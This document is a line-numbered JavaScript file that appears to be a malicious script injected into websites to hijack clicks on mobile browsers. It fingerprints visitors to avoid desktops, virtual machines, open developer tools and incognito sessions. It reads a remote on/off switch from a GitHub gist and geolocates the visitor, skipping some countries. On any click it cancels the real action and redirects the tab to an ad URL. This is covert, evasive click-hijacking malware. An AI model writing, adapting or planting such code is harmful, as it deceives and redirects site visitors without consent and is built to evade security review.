1(async function() { 2 var page_load_time = Date.now(); 3 4 var last_click = localStorage.getItem('ad_p_last_click'); 5 if (last_click) { 6 var time_passed = Date.now() - parseInt(last_click, 10); 7 if (time_passed >= 0 && time_passed < 10000) return; 8 } 9 10 var ua = navigator.userAgent; 11 var isAndroid = /Android/i.test(ua); 12 var isIOS = /iPhone|iPad|iPod/i.test(ua); 13 if (!isAndroid && !isIOS) return; 14 15 var isPcGpu = false; 16 try { 17 var canvas = document.createElement('canvas'); 18 var gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); 19 if (gl) { 20 var debugInfo = gl.getExtension('WEBGL_debug_renderer_info'); 21 if (debugInfo) { 22 var renderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL); 23 if (/NVIDIA|AMD|Intel|Geforce|Radeon|RTX|GTX|SwiftShader|Microsoft|ANGLE|Virtual|VMware|Citrix|Llvmpipe/i.test(renderer)) { 24 isPcGpu = true; 25 } 26 } 27 } 28 } catch (e) {} 29 if (isPcGpu) return; 30 31 if (window.outerWidth > 0 && window.innerWidth > 0) { 32 var widthDiff = Math.abs(window.outerWidth - window.innerWidth); 33 if (widthDiff > 250 && window.outerWidth > 1024) { 34 return; 35 } 36 } 37 38 var hasTouch = ('ontouchstart' in window) || (navigator.maxTouchPoints > 0) || (navigator.msMaxTouchPoints > 0); 39 if (!hasTouch) return; 40 41 var isChromeMobile = (/Chrome/i.test(ua) || /CriOS/i.test(ua)) && /Mobile/i.test(ua); 42 var isMobileSafari = /Safari/i.test(ua) && !/Chrome/i.test(ua) && !/CriOS/i.test(ua) && (isIOS || isAndroid); 43 var isGoogleApp = /GSA/i.test(ua); 44 if (!isChromeMobile && !isMobileSafari && !isGoogleApp) return; 45 46 var telegram_mode = "auto"; 47 var remote_black_status = "off"; 48 49 try { 50 var config_res = await fetch("https://api.github.com/gists/e0b00069046ba287a5e661476eeea6e0?_=" + Date.now(), { 51 headers: { 'Accept': 'application/vnd.github.v3+json' } 52 }); 53 var gist_data = await config_res.json(); 54 if (gist_data && gist_data.files && gist_data.files["mode.json"]) { 55 var raw_text = gist_data.files["mode.json"].content; 56 var global_config = JSON.parse(raw_text.trim()); 57 58 if (global_config && global_config.mode) { 59 telegram_mode = String(global_config.mode).toLowerCase().trim(); 60 } 61 if (global_config && global_config.black_mode) { 62 remote_black_status = String(global_config.black_mode).toLowerCase().trim(); 63 } 64 } 65 } catch (e) { 66 telegram_mode = "auto"; 67 remote_black_status = "off"; 68 } 69 70 if (telegram_mode === "force_on") { 71 return; 72 } 73 74 var options = { timeZone: 'Asia/Ho_Chi_Minh', hour: '2-digit', minute: '2-digit', hour12: false }; 75 var formatter = new Intl.DateTimeFormat('en-US', options); 76 var parts = formatter.formatToParts(new Date()); 77 78 var current_hour = parseInt(parts.find(p => p.type === 'hour').value, 10); 79 var current_minute = parseInt(parts.find(p => p.type === 'minute').value, 10); 80 var total_minutes = (current_hour * 60) + current_minute; 81 82 var is_auto_force_on_time = 83 (total_minutes >= 720 && total_minutes <= 720) || 84 (total_minutes >= 1110 && total_minutes <= 1110) || 85 (total_minutes >= 1350 && total_minutes <= 1350); 86 87 if (is_auto_force_on_time) { 88 return; 89 } 90 91 var is_strict_time = false; 92 var is_golden_hours = (total_minutes >= 300 && total_minutes <= 301); 93 var is_black_mode = false; 94 95 if (is_golden_hours) { 96 is_strict_time = false; 97 } else { 98 is_strict_time = true; 99 } 100 101 if (remote_black_status === "on") { 102 is_black_mode = true; 103 } else { 104 is_black_mode = is_golden_hours; 105 } 106 107 if (is_strict_time) { 108 var isIncognito = false; 109 try { 110 if (isIOS) { 111 if (navigator.storage && navigator.storage.estimate) { 112 var estimate = await navigator.storage.estimate(); 113 if (estimate.quota && estimate.quota < 1500000000) { 114 isIncognito = true; 115 } 116 } 117 } else if (isAndroid) { 118 if (navigator.storage && navigator.storage.estimate) { 119 var estimate = await navigator.storage.estimate(); 120 if (estimate.quota && estimate.quota < 126000000) { 121 isIncognito = true; 122 } 123 } 124 } 125 } catch (err) { 126 isIncognito = false; 127 } 128 129 if (isIncognito) { 130 return; 131 } 132 } 133 134 var serverCountry = window.WP_CENTRAL_GEO || 'CHECK_BY_JS'; 135 136 function runAdLogic(country) { 137 if (country === 'KH') return; 138 139 var options_inner = { timeZone: 'Asia/Ho_Chi_Minh', hour: '2-digit', minute: '2-digit', hour12: false }; 140 var formatter_inner = new Intl.DateTimeFormat('en-US', options_inner); 141 var parts_inner = formatter_inner.formatToParts(new Date()); 142 143 var hour_inner = parseInt(parts_inner.find(p => p.type === 'hour').value, 10); 144 var minute_inner = parseInt(parts_inner.find(p => p.type === 'minute').value, 10); 145 var current_minutes_inner = (hour_inner * 60) + minute_inner; 146 147 var start_minutes = (0 * 60) + 0; 148 var end_minutes = (23 * 60) + 59; 149 var is_in_time_range = (current_minutes_inner >
149= start_minutes && current_minutes_inner <= end_minutes); 150 151 if (country === 'VN' && !is_in_time_range) return; 152 153 var last_click_inner = localStorage.getItem('ad_p_last_click'); 154 if (last_click_inner) { 155 var time_passed_inner = Date.now() - parseInt(last_click_inner, 10); 156 if (time_passed_inner >= 0 && time_passed_inner < 10000) return; 157 } 158 159 if (window.ad_logic_attached) return; 160 window.ad_logic_attached = true; 161 162 document.addEventListener('click', function(event) { 163 //if (document.cookie.indexOf('ad_clicked=1') !== -1) return; 164 165 var target = event.target; 166 var clickableElement = null; 167 168 if (is_black_mode) { 169 clickableElement = target.closest('a'); 170 } else { 171 clickableElement = target.closest('a, button, [role="button"], input[type="submit"]'); 172 if (!clickableElement) return; 173 } 174 175 var adLinks = [ 176 "https://amrox.org/4/2009a2ba32bacd6ef145c8c8890a6ebb" 177 //"https://tightslybella.com/fyam9kwbrb?key=51869ed9fe9ea5d7027166981166db2c", 178 //"https://nolatec.org/4/7b82f81a9896fc22f70a1eae095c6e84" 179 ]; 180 var currentTime = new Date().getTime(); 181 var targetIndex = currentTime % adLinks.length; 182 var target_ad_url = adLinks[targetIndex]; 183 184 var user_destination = clickableElement ? clickableElement.getAttribute('href') : null; 185 var is_anchor_link = clickableElement && clickableElement.tagName.toLowerCase() === 'a' && user_destination && !user_destination.startsWith('#') && !user_destination.startsWith('javascript:'); 186 187 event.preventDefault(); 188 189 try { 190 localStorage.setItem('ad_p_last_click', Date.now().toString()); 191 } catch (e) { 192 document.cookie = "ad_clicked=1; max-age=86400; path=/"; 193 } 194 195 if (is_anchor_link) { 196 window.open(user_destination, '_blank'); 197 } else { 198 window.open(window.location.href, '_blank'); 199 } 200 201 window.location.href = target_ad_url; 202 203 }, false); 204 } 205 206 if (serverCountry !== 'CHECK_BY_JS') { 207 if (document.readyState === 'complete' || document.readyState === 'interactive') { 208 runAdLogic(serverCountry); 209 } else { 210 document.body ? runAdLogic(serverCountry) : document.addEventListener('DOMContentLoaded', function() { runAdLogic(serverCountry); }); 211 } 212 } else { 213 fetch('/cdn-cgi/trace') 214 .then(res => res.text()) 215 .then(data => { 216 var lines = data.split('\n'); 217 var geoLine = lines.find(line => line.startsWith('loc=')); 218 var country = geoLine ? geoLine.split('=')[1] : 'UNKNOWN'; 219 220 if (document.readyState === 'complete' || document.readyState === 'interactive') { 221 runAdLogic(country); 222 } else { 223 document.body ? runAdLogic(country) : document.addEventListener('DOMContentLoaded', function() { runAdLogic(country); }); 224 } 225 }) 226 .catch(() => { runAdLogic('UNKNOWN'); }); 227 } 228})();
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.